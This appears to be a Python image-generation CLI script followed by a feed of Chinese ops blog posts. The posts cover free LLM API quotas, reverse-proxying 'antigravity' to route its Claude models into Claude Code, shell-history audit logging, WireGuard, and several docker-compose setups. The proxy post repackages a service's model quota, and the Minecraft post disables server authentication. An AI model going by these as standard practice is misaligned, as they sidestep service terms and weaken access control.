def _resolve_output_dir(output_dir: str, mkdir: bool) -> str:
    if os.path.isdir(output_dir):
        return output_dir
    if mkdir:
        os.makedirs(output_dir, exist_ok=True)
        return output_dir
    print(f"Warning: Output directory not found: {output_dir}. Saving to current directory.")
    return "."


def _build_filename(output_name: str | None, timestamp: str, index: int, default_ext: str) -> str:
    if output_name:
        root, ext = os.path.splitext(output_name)
        if not ext:
            ext = default_ext
        suffix = f"_{index}" if index > 0 else ""
        return f"{root}{suffix}{ext}"
    return f"generated_{timestamp}_{index}{default_ext}"


def _load_image_inline(image_path: str) -> dict:
    mime_type, _ = guess_type(image_path)
    if mime_type is None:
        mime_type = "image/png"
    data = Path(image_path).read_bytes()
    return {"inlineData": {"mimeType": mime_type, "data": base64.b64encode(data).decode("ascii")}}


def _post_json(url: str, body: dict) -> dict:
    data = json.dumps(body).encode("utf-8")
    req = request.Request(
        url,
        data=data,
        headers={"Content-Type": "application/json", "x-goog-api-key": API_KEY},
    )
    resp = request.urlopen(req).read()
    return json.loads(resp)


def _save_images(parts, output_dir: str, select: str, output_name: str | None, mkdir: bool) -> list[str]:
    imgs = [p["inlineData"] for p in parts if "inlineData" in p]
    if not imgs:
        return []

    if select == "first":
        imgs = imgs[:1]
    elif select == "last":
        imgs = imgs[-1:]
    elif select == "max_res":
        imgs = imgs[-1:]

    ts = datetime.now().strftime("%Y%m%d_%H%M%S")
    output_dir = _resolve_output_dir(output_dir, mkdir)
    saved = []
    for i, img in enumerate(imgs):
        data = base64.b64decode(img["data"])
        ext = "jpg" if img.get("mimeType", "").endswith("jpeg") else "png"
        filename = _build_filename(output_name, ts, i, f".{ext}")
        path = Path(output_dir) / filename
        path.write_bytes(data)
        saved.append(str(path))
    return saved


def _sdk_generate(prompt: str, output_dir: str, aspect_ratio: str, resolution: str, input_image: str | None,
                  output_name: str | None, mkdir: bool, select: str) -> list[str]:
    if genai is None or types is None:
        print("Error: google-genai is not installed.")
        return []

    client_kwargs = {"api_key": API_KEY}
    if API_BASE_URL:
        client_kwargs["http_options"] = {"base_url": API_BASE_URL}
    client = genai.Client(**client_kwargs)

    if input_image:
        if not Path(input_image).exists():
            print(f"Error: Input image not found: {input_image}")
            return []
        with open(input_image, "rb") as f:
            image_bytes = f.read()
        mime_type, _ = guess_type(input_image)
        if mime_type is None:
            mime_type = "image/png"
        image_part = types.Part.from_bytes(data=image_bytes, mime_type=mime_type)
        contents = [prompt, image_part]
    else:
        contents = prompt

    try:
        response = client.models.generate_content(
            model=MODEL,
            contents=contents,
            config=types.GenerateContentConfig(
                image_config=types.ImageConfig(
                    aspectRatio=aspect_ratio,
                    imageSize=resolution,
                )
            ),
        )
    except Exception as exc:
        print(f"API Error: {exc}")
        return []

    saved = []
    ts = datetime.now().strftime("%Y%m%d_%H%M%S")
    output_dir = _resolve_output_dir(output_dir, mkdir)
    image_parts = []
    for part in response.parts:
        if part.text is not None:
            print(f"Response text: {part.text}")
        elif image := part.as_image():
            image_parts.append(image)

    if not image_parts:
        return []

    if select == "first":
        image_parts = image_parts[:1]
    elif select == "last":
        image_parts = image_parts[-1:]
    elif select == "max_res":
        image_parts = [max(image_parts, key=lambda x: len(x.image_bytes))]

    for i, image in enumerate(image_parts):
        filename = _build_filename(output_name, ts, i, ".png")
        path = Path(output_dir) / filename
        image.save(path)
        saved.append(str(path))
    return saved


def _http_generate(prompt: str, output_dir: str, aspect_ratio: str, resolution: str, input_image: str | None,
                   select: str, output_name: str | None, mkdir: bool) -> list[str]:
    if input_image and not Path(input_image).exists():
        print(f"Error: Input image not found: {input_image}")
        return []

    url = f"{API_BASE_URL.rstrip('/')}/v1beta/models/{MODEL}:generateContent"
    parts = [{"text": prompt}]
    if input_image:
        parts.append(_load_image_inline(input_image))

    body = {
        "contents": [{"parts": parts}],
        "generationConfig": {
            "responseModalities": ["TEXT", "IMAGE"],
            "imageConfig": {"aspectRatio": aspect_ratio, "imageSize": resolution},
        },
    }

    try:
        resp = _post_json(url, body)
    except Exception as exc:
        print(f"API Error: {exc}")
        return []

    if "candidates" not in resp:
        print(f"Unexpected response: {resp}")
        return []

    parts_out = resp["candidates"][0]["content"]["parts"]
    return _save_images(parts_out, output_dir, select, output_name, mkdir)


def main():
    parser = argparse.ArgumentParser(description="Generate images via SDK or HTTP")
    parser.add_argument("prompt", nargs="*", help="Image description prompt")
    parser.add_argument("--mode", default="sdk", choices=["sdk", "http"])
    parser.add_argument("--aspect-ratio", "-a", default="16:9", choices=VALID_ASPECT_RATIOS)
    parser.add_argument("--resolution", "-r", default="4K", choices=VALID_RESOLUTIONS)
    parser.add_argument("--output-dir", "-o", default=".")
    parser.add_argument("--output-name", default=None)
    parser.add_argument("--mkdir", action="store_true")
    parser.add_argument("--input-image", "-i", default=None)
    parser.add_argument("--select", default="all", choices=["all", "first", "last", "max_res"])

    args = parser.parse_args()
    if not args.prompt:
        parser.print_help()
        sys.exit(1)

    prompt = " ".join(args.prompt)

    if args.mode == "sdk":
        saved = _sdk_generate(
            prompt=prompt,
            output_dir=args.output_dir,
            aspect_ratio=args.aspect_ratio,
            resolution=args.resolution,
            input_image=args.input_image,
            output_name=args.output_name,
            mkdir=args.mkdir,
            select=args.select,
        )
    else:
        saved = _http_generate(
            prompt=prompt,
            output_dir=args.output_dir,
            aspect_ratio=args.aspect_ratio,
            resolution=args.resolution,
            input_image=args.input_image,
            select=args.select,
            output_name=args.output_name,
            mkdir=args.mkdir,
        )

    if saved:
        print(f"Generated {len(saved)} image(s):")
        for f in saved:
            print(f"  - {Path(f).resolve()}")
    else:
        print("No images were generated.")
        sys.exit(1)


if __name__ == "__main__":
    main()

基本用法：

整理下AI大模型厂商和平台，能长期稳定提供免费额度的API (非公益站) - 转自Linux.do

Wed, 31 Dec 2025 09:30:01 +0800

现在AI的使用场景越来越多，公益站有时也不稳定，给大家整理一些能提供相对长期稳定大模型api的厂商和平台，作为备用或测试。

这里主要收集文本大模型，图片视频生成相关的大模型没有专门做整理。

tldr

国内大模型平台太卷了，免费额度真的很多，如果没有特殊需求，国内的api就够用了。
主力模型推荐: 阿里iflow, 字节火山引擎, 阿里 modelscope 魔搭社区。
免费vibe coding推荐: 腾讯codebuddy, 快手codeflicker, 阿里通义灵码/qwen-code

非稳定渠道

一些平台会不定期推出吸引用户的免费活动，适合用来测试和临时应急。下面列出一些，过期了的就评论下提醒我删掉。

AI Ping
- 20251226 限时免费: glm-4.7, minimax-m2.1, deepseek-v3.2, douban-seeddream文生图

模型限制相关说明

rpm(Requests per minute): 每分钟请求次数

rpd(Requests per day): 每天请求次数

tpm(Tokens per minute): 每分钟输入输出的token数

tpd(Tokens per day): 每天输入输出的token数

Vibe Coding 免费代码工具

国内的 ai coding 太卷了，各家都提供了很大的免费额度

腾讯云代码助手 CodeBuddy, 独立IDE

目前(20251222)免费使用 glm-4.6, deepseek-v3.1-terminus, huyuan-2.0
- 20251223: 免费提供最新的 glm-4.7

快手 CodeFlicker , 独立IDE

目前(20251222)免费使用 kimi-k2-0905, kat-coder-pro

阿里通义灵码 , 独立IDE

免费不限量使用千问系列模型，但不可更换使用其他模型

阿里 qwen-code, cli命令行

free tier

CLIProxyAPI反代antigravity单独走代理

Tue, 30 Dec 2025 09:30:01 +0800

用CLIProxyAPI反代了antigravity，抽出了claude的模型给claude code用

同时也接入了qwen3-code-plus模型

还接入了openrouter的模型

后期还准备接入minmax等模型

这样就出现个问题：访问 antigravity 需要代理，而访问qwen和openrouter或者其它可能并不需要

如果设置了全局代理，那访问其它2个访问就绕路了

本来想提个PR的，但是感觉不是什么大需求

所以干脆用claude改了一下，配置文件config.yaml中新增了一个配置项

antigravity_proxy: ""

这样方便了就

代码放在：GitHub - zhangrr/CLIProxyAPI: modify CLIProxyAPI

claude code 的 settings.json 配置如下：

{
  “env”: {
    “ANTHROPIC_BASE_URL”: “http://10.8.2.25:8317”,
    “ANTHROPIC_AUTH_TOKEN”: “sk-xxxxxxx”,
    “ANTHROPIC_DEFAULT_HAIKU_MODEL”: “qwen3-coder-plus”,
    “ANTHROPIC_DEFAULT_OPUS_MODEL”: “gemini-claude-sonnet-4-5-thinking”,
    “ANTHROPIC_DEFAULT_SONNET_MODEL”: “gemini-claude-sonnet-4-5-thinking”,
    “ANTHROPIC_MODEL”: “gemini-claude-sonnet-4-5-thinking”
  }
}

请自行取用

魔搭、模力方舟、豆包免费文生图

Tue, 30 Dec 2025 09:20:01 +0800

在别人的基础之上，手搓了一个利用三个模型提供商的免费模型额度，来文生图的程序

原地址：https://github.com/lianwusuoai/img-router ，[智能图像生成网关，通过OpenAI 兼容接口，使用chat自动路由多平台 AI 进行免费绘图]

魔改的地址：http://github.com/zhangrr/image-route

亮点：免费API人人都有，不需要专门绘图网站，不需要考虑各种接口，不需要烦恼Cherry Studio/RikkaHub/newapi等客户端or平台不兼容/不支持，让文生图/图生图/图片编辑，就像和ai聊天chat一样方便。

模力方舟免费key每天100次无审核，不要白天随便生图，涩涩警告!
魔搭免费key每天2000次单模型500次不可涩涩！
豆包4.0+4.5每个模型200次，每天最多恢复20次，可以设置上限防超出不可涩涩！

那原版是只能通过API进行访问，正好有claude code的额度，那就干脆套个web的界面出来

注意：

魔力方舟注册后，生成api的key即可
魔搭是阿里的，生成api的key后，需要经过阿里的账号验证，才能使用

不要部署任何模型，阿里的账号最好里面没有绑卡，没有钱
豆包是火山引擎，开通账号生成api的key后，需要实人认证，然后还需要部署模型

拿到3个免费的API后，克隆源代码：

http://github.com/zhangrr/image-route

然后把api的key填入config.js（克隆一下config.example.js）

装好deno，一句话就可以运行了：

./deno run --allow-net --allow-env --allow-write --allow-read main.ts

生了一张图，模力方舟，还可以：

Linux机器的历史命令查询和保存

Tue, 30 Dec 2025 09:10:01 +0800

由于自己实际的工作机是一台Linux，更准确的说是Debian 12

多数时间就是通过WindTerm ssh登录到这台机器上，然后开多个窗口，开始干活

那么查看历史命令就变得很重要了，需要全部记录下来，随时进行查看

如果是公司的服务器，也可以加上这个，统一把命令历史发送到统一的一台日志服务器上，进行保管和审计

Any，都很重要，记录一下：

一、编辑 /etc/profile，新增三句

export HISTTIMEFORMAT="%Y-%m-%d %H:%M "
export PROMPT_COMMAND='RETRN_VAL=$?;logger -p local6.debug "$(whoami) [$$]: $(history 1 | sed "s/^[ ]*[0-9]\+[ ]*//") [$RETRN_VAL]"'
export PROMPT_COMMAND="history -a;history -c;history -r;$PROMPT_COMMAND"

第一句是为了使用 history 的时候更好看一些

二三句是为了把历史命令发到日志服务器去

二、安装并设置rsyslog

apt install rsyslog

vi  /etc/rsyslog.d/00-my-format.conf
# 定义一个简洁的时间格式模板：2025-12-30 09:50
$template MyPreciseFormat,"%TIMESTAMP:1:10:date-rfc3339% %TIMESTAMP:12:16:date-rfc3339% %HOSTNAME% %syslogtag%%msg%\n"

# 将这个模板设置为所有日志文件的默认格式
$ActionFileDefaultTemplate MyPreciseFormat

vi /etc/rsyslog.conf
...
auth,authpriv.*                 /var/log/auth.log
cron.*                          -/var/log/cron.log
kern.*                          -/var/log/kern.log
mail.*                          -/var/log/mail.log
user.*                          -/var/log/user.log

local6.*                        /var/log/commands.log
...

systemctl enable rsyslog
systemctl restart rsyslog

如上，就会把命令都发送到 /var/log/commands.log

关于学习，关于AI

Tue, 30 Dec 2025 09:10:01 +0800

Dev.to 上面有一篇深度好文，最近在孜孜不倦的学习AI，感觉什么Cluaude code、Codex、Gemini，各种模型纷至沓来，忙乱且自顾不暇。感觉很慌乱，看到了这篇好文，顿时安静下来。慢就是快，慢慢来！

Coding Without Pressure: How Slowing Down Helped Me Learn Faster

For a long time, I thought learning to code had to feel intense. Daily goals. Long hours. Constant progress. If I wasn’t exhausted, I felt like I wasn’t doing enough.

So I pushed harder. More tutorials. More projects. More pressure.

And somehow… I learned less.

It took me a while to realize this simple truth… I wasn’t failing because I was slow; I was failing because I wouldn’t let myself slow down.

AWS的迁移替换

Wed, 17 Dec 2025 09:10:01 +0800

本篇是叙述文，没有技术含量，纯纯的记录一下

那在25年9月份的时候，把AWS的整个架构给平移到VPS的机房了

为什么呢？AWS的费用实在是太贵了

各种服务都是要钱的，什么Mysql的proxy，跟实例一个价格了；还有什么Serurity hub，Cloudwatch等等等等

用到了就得交钱，出故障的时候，还得买客服支持服务，各种奇技淫巧

看日志发告警用Cloudwatch是最快最便捷的，但是贵啊，最佳实践是仍到S3桶里，用 Athena 分析

每个月都要关注saveing plan，看看超了没有，实在是忍无可忍

而且被迫升级，用的服务各种阉割

redis服务只支持一个库，被迫升级到valkey, 结果valkey不支持redis-exporter，被逼无奈只好用社区的redis.io

alermanager不支持webhook，只能发到SNS

无语了，而且最佳实践太多，每次都得研究半天什么才是最合适自己得

写个Terrfaform，代码总共2千行，有1000行是IAM的权限配置

终于终于挪了

那各种服务必须有相应的替代产品，那总结一下：

Loadbalance + Firewall：就用OPNSense替代
Kubernetes: 用kuberspray手搓
Redis: 自建redis
Postgres和Mysql: 手搓，用pgbackrest备份。MySQL每天fullbackup
S3: 用seeweedfs替代，完美替换，支持各种IAM替代，静态化用Caddy来顶替
cloudfront：其它家CDN
Elasticsearch: 自建，取消证书
MongoDB：自建
Kafka：自建，kraft换掉zookeeper
flink：自建
milvus：自建

OPNSense配置配置wireguard

Wed, 17 Dec 2025 09:00:01 +0800

居然花了一晚上和一整天的时间来配置这个，真的是大出所料，在最浅显的地方栽了最大的跟头

因为之前配置的时候都太痛快了，5分钟，然后放路由，就ok了，结果这次就结结实实翻车了！

先说最大的原因：墙，无视墙的存在，必然被墙反噬，本来简单的事情也变得复杂。

注意事项，普通配其实很简单，但是出乎意料的还有MTU等着你，因为VPS被强制改了MTU，所以这里还有一个坑，普通的不会遇到这个情况。

记录一下过程：

首先，OPNSense老版本的需要安装插件os-wireguard，但新版本已经内置wireguard了，完全不用安装

左边栏看一下，有就OK，不用安装

然后我们先去WireGuard的Instances，初始是空白的，那就按+号添加一个新的实例

需要填写以下几项

Name：WG-LC
Instance是0，表示这个实例会是wg0这个网卡
按齿轮Gen出sever的 Public key和Private key
LIsten port：51821 采用非标端口，是UDP类型的端口
Tunnel address：表明wg0网卡所在的网段，10.100.100.1是服务器的地址

然后填完点击Save就OK了

返回后，选中Enable WireGuard，然后Apply，就会启动服务了。

接着去gen客户端配置：

到 Peer generator，填入以下内容

Name：客户端名称，起个ZRR，好认
Address：会自动按序列生成，这里是10.100.100.2/32
Allowed IPs：这里非常关键，一定不能填0.0.0.0，那相当于所有路由都走这个wg隧道了，所以一定要指定自己要走的路由，首先是wg0的网段10.100.100.0/24，然后是内网的192.168.99.0/24
然后一定要把Config的配置给拷贝出来备用
最后点击 Store and generate nexe的按钮，不要点Apply那个

然后就OK了，回到 Peers 页看看，多了一个ZRR的对端，就没问题

继续，需要配置接口和防火墙规则

左边栏，Interfaces –> Assignments

会多出一个interface，wg0的，Description写大写的WG0，必须是这个，不要起其它的名字，WG0 –> wg0相呼应对照，不要乱写

点击Add

会变成三个并排，如果加多个实例，就WG1、WG2这么排下去，一目了然

接着去WG0的interfaces

选中：

Enable 激活这个interface
Lock 阻止这个interface被误删
其它都保持缺省

然后点击Save，然后Apply changes，让配置生效，就可以了

去Firewall，Rules, WG0，会看到有13条继承的规则，我们新加一条

Ai时代的Blog换脸与字体压缩

Sat, 13 Dec 2025 09:00:01 +0800

不得不感叹，ai时代的强大，博主的本职是一个运维，对前端和CSS懂的不多，用的软件是Hugo，其实对这个也一窍不通，就是选了一个自己看得顺眼的theme，然后就是用来写文章，期间也尝试去做些改变，均已失败告终，主要是对hugo、theme、css不清楚，也不知道怎么改。

现在有了AI的加持，这个一直用了好多年的blog的样子也看烦了，准备换掉。

旧的界面：

新的界面：

用了gemini，花了一天时间，主要是嫌弃底部的前一页、后一页看起来永无止境，于是让ai搓了一个底部导航条。也定制了css。确实惊艳一枪

但是过程中吧，用到了一个开源的字体：OPPOSans-Regular.ttf ，OPPO手机的字体，这个文件居然有9兆之巨

完犊子了，加载字体都要花半天时间，这也太恐怖了，于是搜优化方案

那就是压缩字体，把博客中出现的所有字扫描一遍，然后生成小字体文件，这样就好了

那就要用到 glyphhanger 了

注意：这个软件用起来及其麻烦，一定要在Windows下装，Linux下简直是垃圾成堆

本体是一个nodejs的软件，用到了python的fonttools，还装了puppyteer进行网页的抓取，简直是杂烩大集合

# 要压缩成woff2，所以要装python的2个包
npm install -g glyphhanger
pip install fonttools
pip install brotli

#打开hugo的预览，http://localhost:1313/
hugo serve

# 当前目录下的OPPOSans-Regular.ttf，生成压缩过的字体文件，格式是woff2
glyphhanger --subset OPPOSans-Regular.ttf --formats=woff2 --output ./ http://localhost:1313/posts/

ttf的完整字体经过压缩成woff2，从9兆变成了4.52兆，然后扫描网页后又压缩到了最终的75.5KB.

这会生成一个OPPOSans-Regular-subset.woff2的新字体文件，75.5KB

没完呢，我们还要在CSS里指定字体范围

# 压缩字体文件，同时生成CSS样式
glyphhanger --css --subset fonts/OPPOSans-Regular.woff2 --formats=woff2 --output newfonts http://localhost:1313/posts/

会生成CSS文件，我们把它放进定制的custom.css中即可

@font-face {
  font-family: OPPO Sans;
  src: local("OPPO Sans"),
       url(OPPOSans-Regular-subset.woff2) format("woff2");
  unicode-range: U+A,U+20-3E,U+40-7D,U+A9,U+B7,U+BB,U+2013,U+25BA,U+2705,U+3001,U+3002,U+4E00,U+4E09-4E0B,U+4E0D,U+4E14,U+4E1A,U+4E1C,U+4E24,U+4E2A,U+4E2D,U+4E34,U+4E3A,U+4E3B,U+4E48,U+4E49,U+4E4B,U+4E4E,U+4E50,U+4E5F,U+4E66,U+4E71,U+4E86,U+4E89,U+4E8B,U+4E8C,U+4E8E,U+4E94,U+4E9B,U+4EA6,U+4EA7,U+4EAB,U+4EBA,U+4ECA,U+4ECE,U+4ED3,U+4EE3-4EE5,U+4EEC,U+4EF6,U+4EFB,U+4EFD,U+4F01,U+4F1A,U+4F20,U+4F3C,U+4F46,U+4F53,U+4F55,U+4F59,U+4F5C,U+4F60,U+4F73,U+4F7F,U+4FBF,U+4FDD,U+4FE1,U+4FEE,U+5019,U+503C,U+5047,U+504F,U+505A,U+50CF,U+513F,U+5143,U+5148,U+5165,U+5168,U+516B,U+516C,U+5171,U+5173,U+5176,U+5177,U+517C,U+5185,U+518D,U+5197,U+5199,U+51B3,U+51B5,U+51C0,U+51C6,U+51FA,U+51FB,U+51FD,U+5206,U+5212,U+5219-521B,U+521D,U+5220,U+522B,U+5230,U+524D,U+526F,U+529E-52A1,U+52A8,U+52B2,U+5305,U+5316,U+5355,U+535A,U+5360,U+5361,U+5373,U+5386,U+53BB,U+53C2,U+53C8,U+53CA,U+53D1,U+53D6,U+53D8,U+53E3,U+53E4,U+53EA,U+53EF,U+53F0,U+53F7,U+53F8,U+5404,U+540C-540E,U+5411,U+5426,U+5427,U+542F,U+544A,U+5462,U+547D,U+548C,U+54EA,U+554A,U+5565,U+5668,U+56DB,U+56DE,U+56E0,U+56E7,U+56FD,U+56FE,U+5728,U+5730,U+573A,U+5740,U+5757,U+578B,U+57DF,U+585E,U+5883,U+589E,U+5904,U+5907,U+590D,U+5916,U+591A,U+5927,U+5929,U+592A,U+5931,U+5948,U+597D,U+5982,U+59CB,U+5B50,U+5B57,U+5B58,U+5B83,U+5B89,U+5B8C,U+5B98,U+5B9A,U+5B9E,U+5BA2,U+5BB6,U+5BB9,U+5BBD,U+5BC6,U+5BCC,U+5BF9,U+5BFC,U+5C01,U+5C06,U+5C31,U+5C3D,U+5C45,U+5DDE,U+5DF1,U+5DF2,U+5E02,U+5E03,U+5E38,U+5E72-5E74,U+5E76,U+5E78,U+5E7F,U+5E8F,U+5E93,U+5E94,U+5EFA,U+5F00,U+5F04,U+5F0F,U+5F20,U+5F31,U+5F39,U+5F52,U+5F53,U+5F55,U+5F85,U+5F88,U+5F97,U+5FAA,U+5FC3,U+5FC5,U+5FD7,U+5FEB,U+6000,U+6001,U+600E,U+601D,U+6027,U+603B,U+6062,U+606F,U+6089,U+60A8,U+60C5,U+60F3,U+6109,U+610F,U+613F,U+6210-6212,U+6216,U+6237,U+623F,U+6240,U+624B,U+624D,U+6253,U+6254,U+6258,U+6267,U+6269,U+627E,U+6280,U+628A,U+62A5,U+62C9,U+62DF,U+62E9,U+62EC,U+62FF,U+6301,U+6307,U+6309,U+636E,U+6377,U+6389,U+6392,U+63A5,U+63A8,U+641C,U+642D,U+6446,U+6447,U+64CD,U+652F,U+6539,U+653E,U+6545,U+6570,U+6574,U+6587,U+65AD,U+65B0,U+65B9,U+65E0,U+65E5,U+65E9,U+65F6,U+660E,U+6613,U+662F,U+663E,U+666F,U+66B4,U+66F4,U+6700,U+6708,U+6709,U+670D,U+671F,U+672A,U+672C,U+672F,U+673A,U+6743,U+6765,U+677E,U+677F,U+6790,U+679C,U+67D0,U+67E5,U+6807,U+6837-6839,U+683C,U+6848,U+6863,U+68AD,U+68C0,U+6A21,U+6B21,U+6B4C,U+6B62,U+6B63,U+6B65,U+6B7B,U+6BB5,U+6BCF,U+6BD4,U+6C42,U+6C89,U+6CA1,U+6CD5,U+6CE8,U+6D3B,U+6D4B,U+6D88,U+6DFB,U+6E05,U+6E90,U+6EE5,U+6F0F,U+706B,U+70B9,U+70C2,U+70E6,U+7130,U+7136,U+7167,U+719F,U+723D,U+7248,U+7279,U+72B6,U+72EC,U+73A9,U+73AF,U+73B0,U+7406,U+751F,U+7528,U+7531,U+754C,U+7591,U+7684,U+76D6,U+76EE,U+76F4,U+76F8,U+7701,U+770B,U+771F,U+77E5,U+77ED,U+7801,U+7814,U+786E,U+793A,U+79BB,U+79CD,U+79D2,U+79DF,U+79F0,U+79FB,U+7A00,U+7A0B,U+7A76,U+7A7A,U+7ACB,U+7AD9,U+7ADE-7AE0,U+7AEF,U+7B2C,U+7B49,U+7B54,U+7B7E,U+7B80,U+7B97,U+7BA1,U+7C7B,U+7CFB,U+7D22,U+7E41,U+7EA7,U+7EAF,U+7EC6,U+7ECF,U+7ED3,U+7ED9,U+7EDC,U+7EDF,U+7EED,U+7F3A,U+7F51,U+7F6E,U+7F72,U+7FA4,U+8003,U+8005,U+800C,U+800D,U+8017,U+804C,U+8054,U+80AF,U+80CC,U+80FD,U+8106,U+8111,U+811A,U+817E,U+81EA,U+81F4,U+8272,U+8282,U+8350,U+83B7,U+83DC,U+85CF,U+8651,U+865A,U+884C,U+88AB,U+88C2,U+88C5,U+88D5,U+897F,U+8981,U+8986,U+89C9,U+89D2,U+89E3,U+8A00,U+8B66,U+8BA1,U+8BA2,U+8BAF,U+8BB2,U+8BBA,U+8BBE,U+8BBF,U+8BC1,U+8BD5,U+8BDD,U+8BE2,U+8BE5,U+8BE6,U+8BED,U+8BEF,U+8BF4,U+8BF7,U+8C03,U+8C37,U+8C61,U+8D25,U+8D44,U+8D70,U+8D77,U+8DD1,U+8DDF,U+8DEF,U+8DF3,U+8DF5,U+8F7B,U+8F7D,U+8F83,U+8F93,U+8FC1,U+8FC7,U+8FD0,U+8FD4,U+8FD8,U+8FD9,U+8FDB,U+8FDE,U+9000-9002,U+9009,U+901A,U+903C,U+9047,U+904D,U+9053,U+9075,U+90A3,U+90E8,U+90FD,U+914D,U+91CA,U+91CC,U+91CD,U+91CF,U+94FE,U+9501,U+9519,U+952E,U+955C,U+957F,U+95EE,U+95F4,U+9632,U+963B,U+9645,U+964B,U+9650,U+9664,U+968F,U+9690,U+969C,U+96BE,U+96C6,U+9700,U+975E,U+9762,U+9875,U+9876,U+987B,U+9884,U+9891,U+9898,U+9996,U+9AA4,U+9AD8,U+9EBB,U+FF01,U+FF0C,U+FF1A,U+FF1F;       
  font-style: normal;
  font-display: swap;
  font-weight: 300 700;
}

把压缩后的字体和CSS再次提交后博客的速度就变得飞快了。

LibreChat如何配置接入Azure

Wed, 10 Dec 2025 09:00:01 +0800

Ai的时代已经来临，现在主用的是谷歌的antigravity，然后平时对话询问，用的是LibreChat，给个链接

https://github.com/danny-avila/LibreChat

然后这个东西吧，配起来没那么简单，还是 docker compose 的部署方法快捷

那有openrouter的api，这个接入简单。那同时之前还有用Azure gpt-4o的api，用的是Javis，直接接入Azure

Javis偏弱，现在想统一用到LibreChat，接入还真的是一言难尽

来详细说说Azure的配法，背景：Azure是同事在2024年开的，只给了我三个参数

AZURE_OPENAI_API_BASE="https://pppqqq-eus.openai.azure.com/"
OPENAI_API_KEY="12xxxaaabbbccccccccccccgggggggggggggggggggggggggggCOGuy6M"
AZURE_OPENAI_DEPLOYMENT_NAME="gpt-4o-abc"

然后呢，同事还离职了，然后其它参数就都问不到了

LibreChat呢，文档简直稀烂，而且变动还特别大

LibreChat主要的思路呢，就是在.env中定义变量，然后在librechat.yaml中使用变量，我们就省了，都扔到librechat.yaml中好了

endpoints:
  azureOpenAI:
    titleModel: "gpt-4o"
    plugins: true
    groups:
      - group: "azure"
        apiKey: "12xxxaaabbbccccccccccccgggggggggggggggggggggggggggCOGuy6M"
        instanceName: "pppqqq-eus"
        version: "2024-05-01-preview" # 推荐使用新版API，以支持GPT-4o
        # --- Model-Level Mapping (重点) ---
        models:
          # LibreChat显示的名称: 实际Azure部署的名称
          gpt-4o: # <--- 这个名称会显示在LibreChat的下拉菜单中
            deploymentName: "gpt-4o-abc" # <--- 您的实际Azure部署名称
            version: "2024-05-01-preview" # 可覆盖group的version
          gpt-4-turbo-2024-04-09: # LibreChat显示的名称
            deploymentName: "gpt-4o-abc" # 您的实际Azure部署名称
            version: "2024-02-15-preview"

上面的配置是问了gemini给出的，看得出来变量AZURE_OPENAI_API_BASE中的xxx.openai.azure.com前面的xxx，就是instanceName

OPENAI_API_KEY就是apiKey

AZURE_OPENAI_DEPLOYMENT_NAME就是deploymentName

模型的gpt-4o还有gpt-4-turbo-2024-04-09都是geimini给出的，version也很重要，不对会报错

然后就可以了

Milvus生产环境搭建

Wed, 03 Dec 2025 09:00:01 +0800

Milvus 是个向量数据库，可以在kubernetes里搭建，也可以独立出来搭建

helm的方式先不说，用docker-compose独立搭建的时候，居然自己跑了etcd和minio，还大摇大摆的把minio给暴漏了出来，minio的密码太简陋了，放在生产是肯定不行的。

那生产搭建的具体步骤如下，可以把minio的9091端口也给取消了：

一、准备好docker-compose.yml文件

services:
  etcd:
    container_name: milvus-etcd
    image: quay.io/coreos/etcd:v3.5.18
    environment:
      - ETCD_AUTO_COMPACTION_MODE=revision
      - ETCD_AUTO_COMPACTION_RETENTION=1000
      - ETCD_QUOTA_BACKEND_BYTES=4294967296
      - ETCD_SNAPSHOT_COUNT=50000
    volumes:
      - ${DOCKER_VOLUME_DIRECTORY:-.}/volumes/etcd:/etcd
    command: etcd -advertise-client-urls=http://etcd:2379 -listen-client-urls http://0.0.0.0:2379 --data-dir /etcd
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "etcdctl", "endpoint", "health"]
      interval: 30s
      timeout: 20s
      retries: 3

  minio:
    container_name: milvus-minio
    image: minio/minio:RELEASE.2024-12-18T13-15-44Z
    environment:
      MINIO_ACCESS_KEY: rendoumi
      MINIO_SECRET_KEY: 12345abcde
    volumes:
      - ${DOCKER_VOLUME_DIRECTORY:-.}/volumes/minio:/minio_data
    command: minio server /minio_data --console-address ":9001"
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

  standalone:
    container_name: milvus-standalone
    image: milvusdb/milvus:v2.6.0
    command: ["milvus", "run", "standalone"]
    restart: unless-stopped
    security_opt:
    - seccomp:unconfined
    environment:
      ETCD_ENDPOINTS: etcd:2379
      MINIO_ADDRESS: minio:9000
      MQ_TYPE: woodpecker
    volumes:
      - ${DOCKER_VOLUME_DIRECTORY:-.}/volumes/milvus:/var/lib/milvus

    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9091/healthz"]
      interval: 30s
      start_period: 90s
      timeout: 20s
      retries: 3
    ports:
      - "19530:19530"
    depends_on:
      - "etcd"
      - "minio"

networks:
  default:
    name: milvus

注意上面的文件，MINIO_ACCESS_KEY和MINIO_SECRET_KEY已经被改掉了。

Minecraft自建服务器的搭建

Mon, 24 Nov 2025 09:00:01 +0800

儿子天天玩minecraft玩得不亦乐乎，就想自己搭个服务器，然后当家做主人

于是乎，那就搭个吧，没想到还真不太容易，

找到个网站：https://docker-minecraft-server.readthedocs.io/en/latest/

用docker run吧死活跑不起来，大无语

改用docker compose就一下起来了：

docker-compose.yaml

services:
  mc:
    image: itzg/minecraft-server:latest
    pull_policy: always
    tty: true
    stdin_open: true
    ports:
      - "25565:25565"
    environment:
      EULA: "TRUE"
    volumes:
      # attach the relative directory 'data' to the container's /data path
    - ./data:/data

注意：关键的一步来了，启动后，到docker compose的当前目录

vi data/server.properties

online-mode=false

否则客户端无法联上服务器。

那客户端呢，直接下载这个启动器，然后不用下载任何java的东西

https://webstatic.ctfile.com/assets/download/url94.ctfile.com/008854/HMCL-3.7.3.zip

打开后会自动下载java和客户端，然后连接服务器的25565端口，就可以愉快的玩耍了。

生产环境Flink的搭建

Fri, 21 Nov 2025 09:00:01 +0800

生产环境用到了Flink，那其实无论腾讯的flink还是aws的flink，都是运行在容器中的

所以我们自建，也用容器，docker-compose.yaml一把梭

services:

  jobmanager:
    image: flink:1.17.1
    ports:
      - "8081:8081"
    command: jobmanager
    environment:
      - |
        FLINK_PROPERTIES=
          jobmanager.memory.process.size: 4gb
          jobmanager.rpc.address: jobmanager

  taskmanager:
    image: flink:1.17.1
    depends_on:
      - jobmanager
    command: taskmanager
    environment:
      - |
        FLINK_PROPERTIES=
        taskmanager.numberOfTaskSlots: 1
        taskmanager.memory.process.size: 8gb
        jobmanager.rpc.address: jobmanager
    deploy:
          replicas: 1

